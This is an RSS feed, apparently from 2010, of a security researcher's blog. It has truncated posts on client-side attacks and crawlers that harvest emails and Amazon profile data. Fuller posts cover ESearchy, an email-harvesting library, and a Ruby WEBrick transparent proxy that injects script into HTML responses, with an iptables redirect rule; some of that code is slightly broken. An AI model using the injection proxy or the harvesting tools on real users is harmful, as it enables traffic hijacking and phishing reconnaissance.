<?xml version="1.0" encoding="UTF-8"?><rss version="0.92">
<channel>
	<title>FreedomCoder</title>
	<link>http://www.freedomcoder.com.ar</link>
	<description>Information for free-minded geeks</description>
	<lastBuildDate>Wed, 14 Jul 2010 13:22:53 +0000</lastBuildDate>
	<docs>http://backend.userland.com/rss092</docs>
	<language>en</language>
	<!-- generator="WordPress/3.0.1" -->

	<item>
		<title>&#8220;Recommend this site/page&#8221; Client-side Attack</title>
		<description><![CDATA[Looks like these past few week, I got some inspiration. So let's abuse it. One of the issues while performing a social engineering / client-side attack is that if a smart administrator finds the emails are all coming from a single location it will just add a rule to the firewall or SMTP server to [...]]]></description>
		<link>http://www.freedomcoder.com.ar/2010/07/14/recommend-this-sitepage-client-side-attack/</link>
			</item>
	<item>
		<title>Amazon Users&#8217; info Crawler</title>
		<description><![CDATA[Another weekend and another crawler. This time it is not emails, but nonetheless interesting data from a big gadget store. Surfing through the site for gadgets, I found that Amazon has some interesting Profile data about it's users such as location, date of birth, wish list, interested persons list,  reviews done to gadgets, etc ... Looking at [...]]]></description>
		<link>http://www.freedomcoder.com.ar/2010/07/11/amazon-users-info-crawler/</link>
			</item>
	<item>
		<title>Client-side Penetration Testing with ESearchy &amp; EMaily</title>
		<description><![CDATA[General Information ..."our employees are responsable and security aware".... ..."They have admin access, because we trust them ".... ...."I thought it was safe to open that file. Robert from IT sent it to me" ... ....etc... Nowadays,  computers networks, are """"usually"""" secure. Finding an exploitable remote network vulnerability is getting more and more difficult. This [...]]]></description>
		<link>http://www.freedomcoder.com.ar/2010/07/09/client-side-penetration-testing-with-esearchy-emaily/</link>
			</item>
	<item>
		<title>strip binary executables in OSX</title>
		<description><![CDATA[While doing some vulnerability research on some of the default OSX binary files, I run into the issue that a lot of the binaries are universal and contain i386, x86_64 and/or ppc. For example, let us take the default installed app bash So I wanted to debug an application in order to see where it [...]]]></description>
		<link>http://www.freedomcoder.com.ar/2010/07/09/strip-binary-executables-in-osx/</link>
			</item>
	<item>
		<title>Github Email Crawler</title>
		<description><![CDATA[Small proof of concept to crawl several emails using Google, ruby and some Sunday coding. One of the things that Github discloses ( if provided ) is the email addresses.  Short of that, it also discloses information such as Full Name, website, Location, etc, as it is show on the image below. Taking advantage of [...]]]></description>
		<link>http://www.freedomcoder.com.ar/2010/06/13/github-email-crawler/</link>
			</item>
	<item>
		<title>I&#8217;m a P1r4t3 now !</title>
		<description><![CDATA[Lately, a lot of things are changing in my life. A month and a half ago one of the things that changed  was "the job". I'm currently working for IOActive. Last week while I was visiting headquarters. Our official initialization was performed: "After many beers, a Jagermeister shot, and many hot dogs; I became an [...]]]></description>
		<link>http://www.freedomcoder.com.ar/2010/05/24/im-a-p1r4t3-now/</link>
			</item>
	<item>
		<title>Installing ESearchy on Backtrack 4.0</title>
		<description><![CDATA[A lot of people told me that ESearchy was not working on backtrack 4.0. Here is a short how-to. Let me know if any of you run into other issues. So I can expand this how-to. $ sudo apt-get update $ sudo apt-get upgrade $ ruby -v $ gem -v # 1.2 sudo # this [...]]]></description>
		<link>http://www.freedomcoder.com.ar/2010/05/17/installing-esearchy-on-backtrack-4-0/</link>
			</item>
	<item>
		<title>Where are gem&#8217;s executables in Ubuntu?</title>
		<description><![CDATA[As you might know, I'm always working on new projects to automate my work. Call me lazy, call me smart, but the true is that I actually enjoy programming, and if helps making my life easier, it is more than welcomed Whenever I do a new gem I try to test it on as many [...]]]></description>
		<link>http://www.freedomcoder.com.ar/2010/02/28/where-are-gems-executables-in-ubuntu/</link>
			</item>
	<item>
		<title>Another year is in the can! Welcome 29s</title>
		<description><![CDATA[Yes, today is my b-day. Hence I decided to add a few lines in this "kind of" forgotten blog. Lately, I being doing plenty of interesting stuff, but haven't had the time to sit and write about those things. Here are a few updates. * ESearchy-NG has a few new features. (Spoke being one of [...]]]></description>
		<link>http://www.freedomcoder.com.ar/2010/01/31/another-year-is-in-the-can-welcome-29s/</link>
			</item>
	<item>
		<title>ESearchy-ng work&#8230;</title>
		<description><![CDATA[Lately , I've been working on a complete refactoring of ESearchy. basically it will be ESearchy 0.2, but for now I'm hosting in it as ESearchy-ng so people can still enjoy the old version while I code the new one. I changed the syntax a lot so here is a simple example of what I [...]]]></description>
		<link>http://www.freedomcoder.com.ar/2009/11/27/esearchy-ng-work/</link>
			</item>
	<item>
		<title>Bugmenot CLI script ( updated )</title>
		<description><![CDATA[A few update to the script. Now is has percentages, "other" information field and the option of providing how many results you want back. and color output . Enjoy]]></description>
		<link>http://www.freedomcoder.com.ar/2009/10/21/bugmenot-cli-script-updated/</link>
			</item>
	<item>
		<title>Bugmenot CLI script</title>
		<description><![CDATA[Little script to help while surfing the web. So far it gets the username and password. I will be adding the success percentage and the possibility of limiting the search results. Otherwise, enjoy as it is.]]></description>
		<link>http://www.freedomcoder.com.ar/2009/09/14/bugmenot-cli-script/</link>
			</item>
	<item>
		<title>New blog</title>
		<description><![CDATA[After many nights of searching the internez for a script capable of migrating from Drupal to WordPress, I finally found a script for an old version of Drupal. I had to do some work in order to make it work but after a couple of hours of trial and error I managed to modified and improve [...]]]></description>
		<link>http://www.freedomcoder.com.ar/2009/08/04/new-blog/</link>
			</item>
	<item>
		<title>First stable beta of ESearchy is out!</title>
		<description><![CDATA[Finally, after weeks of work, the first stable Beta of ESearchy is up and running in github's gem repository. 
Esearchy is a small library capable of searching the internet for email addresses. Currently, the supported search methods are engines such as Google, Bing, Yahoo, PGP servers, GoogleGroups, Linkedin, etc , but I intend to add many more.

Also, the library searches inside .pdf, .docx, .xlsx, .pptx, asn and .txt files for emails addresses and adds them to the list of found accounts. Finally, we have support for .docs files but for now only in Windows Platforms. (For more information visit: <a href="http://github.com/FreedomCoder/esearchy/tree/master"> Github </a> .

In order to install it you simple add the repository and then install the gem, as shown below.

<bash>
>  gem sources -a http://gems.github.com
>  gem install FreedomCoder-esearchy
</bash>

Once the gem is installed, you can create a new search opening and/or use the "esearchy" CLI tool but it's really basic so far and it does not has all of the plugins. 
<code>
require 'esearchy'

ESearchy::LOG.level = ESearchy::APP #Output to the stdout. 

ESearchy.create "domain.com" do &#124;d&#124;
  d.yahoo_key = "yourAPIkeygoeshere"
  d.bing_key = "yourAPIkeygoeshere" 
  # if you want to also look in LinkedIn
  d.company_name "Company Name"
  #A user is needed in order to search within Linkedin
  d.linkedin_credentials "myuser@linkedin.com", "mypwd" 
  d.maxhits = 50 
  d.search
  d.save_to_file "company_emails.txt"
end
</code>
If you have any comments, issues or want to submit a bug please do so on
<a href="http://github.com/FreedomCoder/esearchy/issues">http://github.com/FreedomCoder/esearchy/issues</a>

 Hopefully it will be useful to you. 
:)
]]></description>
		<link>http://www.freedomcoder.com.ar/2009/07/13/first-stable-beta-of-esearchy-is-out/</link>
			</item>
	<item>
		<title>Random User Agents</title>
		<description><![CDATA[While programming Esearchy I had to create a simple class to retrieve random user agents. You may say but why you would want something like this, and the answer is simple:
 "Try to trick the search engines, so they would not block me".  

Yeah, I know this might not even works, but it's still cool. =D

Well here it goes
<script src="http://gist.github.com/144932.js"></script>

Use it at your own discretion and listen to your ghost ...]]></description>
		<link>http://www.freedomcoder.com.ar/2009/07/10/random-user-agents/</link>
			</item>
	<item>
		<title>I&#8217;m back with some Code &#8230;</title>
		<description><![CDATA[Well, hello again, long time since the last post. I went on vacations, work a lot and did some programming. Let's talk abount the programming part, since it is the most interesting one. ;)

I created a small library called "Esearchy" capable of searching the internet for email addresses. Currently, we the supported search methods are  engines such as Google, Bing, Yahoo, PGP servers, GoogleGroups, etc , but I intend to add many more.
Also, the library searches inside .pdf and .txt files for emails addresses and adds them to the list of found accounts.  

For now, there are two main ways of performing a search, "the ruby way"
<code>
 Esearchy.create "domain.com" do &#124;domain&#124;
   domain.maxhits = 500
   domain.search
   domain.clean {&#124;e&#124; e =~ /<&#124;>/ }
   domain.save_to_file "~/emails.txt"
 end
</code>

and the more classic way in which users can create an Esearchy objetc and work on it

<code>
  domain = Esearchy.new :query => "domain.com", :maxhits => 500
  domain.search
  domain.save_to_file "~/emails.txt"
</code>

For now , that's it for now , but keep on tuned for more shitty code ajjajaa 
]]></description>
		<link>http://www.freedomcoder.com.ar/2009/07/05/im-back-with-some-code-/</link>
			</item>
	<item>
		<title>I&#8217;m going LOCO on Friday !!!</title>
		<description><![CDATA[Nos vemos en LocosxRails 2009 ... Espero pasarla mas que bien y que a la gente le gusta la charla.

<img src="http://www.freedomcoder.com.ar/files/Picture 2.jpg" alt="Picture 2.jpg" border="0" width="571" height="555" />]]></description>
		<link>http://www.freedomcoder.com.ar/2009/04/01/im-going-loco-on-friday-/</link>
			</item>
	<item>
		<title>Hash.map is not working ?</title>
		<description><![CDATA[While coding a new lib i'm doing I was trying to do something with a Hash and I came across this.

<code>
irb(main):002:0> {:a => 1, :b => 2}.map do &#124;k,v&#124; v+2 end
=> [3, 4]
</code>

When I try to map a Hash I get in return an Array. Shoulnd't I get a Hash??? It's that the idea of "mapping" ? I tried in both 1.8 and 1.9.1 and both returned the same. I guess I'm either missing something or map is not implemented as it should be. 
Help please!!,  Anyone ?

<strong>UPDATE: </strong>
Well, I think this is an explanation (extracted from the RDoc) :

<strong>
enum.collect {&#124; obj &#124; block } => array
enum.map {&#124; obj &#124; block } => array
</strong>

Returns a new array with the results of running block once for every element in enum.

<code>
   (1..4).collect {&#124;i&#124; i*i }   #=> [1, 4, 9, 16]
   (1..4).collect { "cat"  }   #=> ["cat", "cat", "cat", "cat"]
</code>]]></description>
		<link>http://www.freedomcoder.com.ar/2009/03/19/hashmap-is-not-working-/</link>
			</item>
	<item>
		<title>WEBrick Transparent Proxy + code injection.</title>
		<description><![CDATA[I've search and search, asked Google, yahoo, sarasa search, and pretty much everyone else I know. Everything was incomplete, not well explain or not in subject at all.  After many days of looking I found a japanese site, which I did not understood much of it but after I google translated I was able to check some code and learn how to capture the response body messages. 

<small><i><strong>NOTE:</strong> As a word of advice, it is worth mentioning that this situation where only the Japanese have ruby code, has happened several times before with weird and undocumented methods or libraries. So it's always good to look in google.jp for ruby code ;)</i></small>

You may say why to even bother to do a Transparent proxy in ruby which is able to inject code, well maybe the answer is just because I want to see if I can do it. 

I decided to do my PoC with the native library WEBrick, a simple and light  HTTPserver among other things. 
</br>
<strong> Simple Proxy :</strong>
The first thing I usually do is check the official site and Rdoc for the lib. Unluckily, I was only able to find how to do a normal proxy. and work with the request. 

<code>
require 'webrick'
require 'webrick/httproxy'

WEBrick::HTTPProxyServer.new :Port 8080, 
                     :BindAddress => '0.0.0.0', 
                     :ServerType => Thread,
                     :RequestCallback => Proc.new {&#124;req,res&#124;  puts "#{req.unparsed_uri}" }

a.start

</code><small><small>Simple Proxy server.</small></small>
</br>
<strong> Fixing the URI :</strong>
With this we can setup Firefox, safari or any other web browser to use the proxy on localhost:8080 and  Eureka, we have a proxy that will printout the unparsed_uri for our request.  
This in theory works like a charm , but wait. If you see the  request Firefox is doing the following 
<code>
GET http://www.sarasa.com/ HTTP/1.1
...
</code><small><small>Browser request using a proxy server.</small></small>

Normal the brower when requesting a page , will use HTTP/1.1 and use the header "Host" to specified the url and just connect using a:

<code>
GET / HTTP/1.1
Host: www.sarasa.com
</code><small><small>Browser request.</small></small>

Having said this, here is the first wall I encounter. This is something that was undocumented: how do we turn our proxy into a transparent proxy? 
The answer is simple. let's modified our code and change the request. All the information is there we just have to re-write it to fit our need. 
Before, we start we should know that our req is of type WEBrick::HTTPRequest. Knowing this we will do a little monkey patching to add a new method to the class and 

<code>
require 'webrick'
require 'webrick/httproxy'

class WEBrick::HTTPRequest
  def  update_uri(uri)
    @unparsed_uri = uri
    @request_uri = parse_uri(uri)
  end
end


req_call = Proc.new do &#124;req,res&#124;  
  req.update_uri()
  puts "#{req.unparsed_uri}" }
end

WEBrick::HTTPProxyServer.new :Port 8080, 
                     :BindAddress => '0.0.0.0', 
                     :ServerType => Thread,
                     :RequestCallback => req_call 

a.start
</code><small><small>Transparent Proxy Server.</small></small>

</br>
<strong> Injecting:</strong>
Well, a transparent proxy is cool , but we could do the same with squid or some other product. Let's take it a little further and make it more interesting by adding an inject_payload to our response class. 


<code>
require 'webrick'
require 'webrick/httproxy'

class WEBrick::HTTPRequest
  def  update_uri(uri)
    @unparsed_uri = uri
    @request_uri = parse_uri(uri)
  end
end

class WEBrick::HTTPResponse
  def  inject_payload(string)
    if @content_type =~ /html/
      @body.gsub!( /<\/body>/ ,  "<script>#{string}</script></body>")  # this is just 
    end
  end
end

req_call = Proc.new do &#124;req,res&#124;  
  req.update_uri()
  puts "#{req.unparsed_uri}" }
end

res_call = Proc.new do &#124;req,res&#124;  
  res.inject_payload("alert(\"P0wned\");")
end

WEBrick::HTTPProxyServer.new :Port 8080, 
                     :BindAddress => '0.0.0.0', 
                     :ServerType => Thread,
                     :RequestCallback => req_call
                     :ProxyContentHandler => res_call 

a.start
</code><small><small>Injectable Transparent Proxy server.</small></small>

<strong> Last but not least :</strong>
Well, there is one more thing , but this is more at an operating system level we know want to reroute everything that is coming from the port 80 to port 8080 where our transparent proxy is listening.  The following example shows a possible way to redirect HTTP traffic assuming that is coming from the interface eth0 and the proxy is listening on port 8080.
<bash>
  iptables -t nat -A PREROUTING -i  eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
</bash>

Now we have a transparent proxy in our hands capable of injecting code into their request. 

Enjoy. 

]]></description>
		<link>http://www.freedomcoder.com.ar/2009/02/28/webrick-transparent-proxy-code-injection/</link>
			</item>
	<item>
		<title>Nmaports 0.3: Now with pdf support</title>
		<description><![CDATA[Luego de un par ajustes al c?digo Nmaports sigue creciendo y agregando features. 
Ahora , Nmaports tiene soporte para generar la tabla en formato PDF. 


<code>
def create_pdf(list,name=nil)
  require 'prawn'
  require 'prawn/layout'
  Prawn::Document.generate(name &#124;&#124; "output.pdf") do 
    
    data = []
    list.each do &#124;k,v&#124;
      data << [k,(v.map { &#124;k&#124; k + "\n" }.to_s).strip]
    end
    
    table data, 
      :position => :center, 
      :headers => ["Port", "IP Adresses"],
      :header_color => "0046f9",
      :row_colors => :pdf_writer, #["ffffff","ffff00"],
      :font_size => 10,
      :vertical_padding => 2,
      :horizontal_padding => 5
  end
end
</code>

Para bajar la ultima versi?n del repositorio Git : 
http://github.com/FreedomCoder/nmapports/tree/master]]></description>
		<link>http://www.freedomcoder.com.ar/2009/02/16/nmaports-03-now-with-pdf-support/</link>
			</item>
</channel>
</rss>
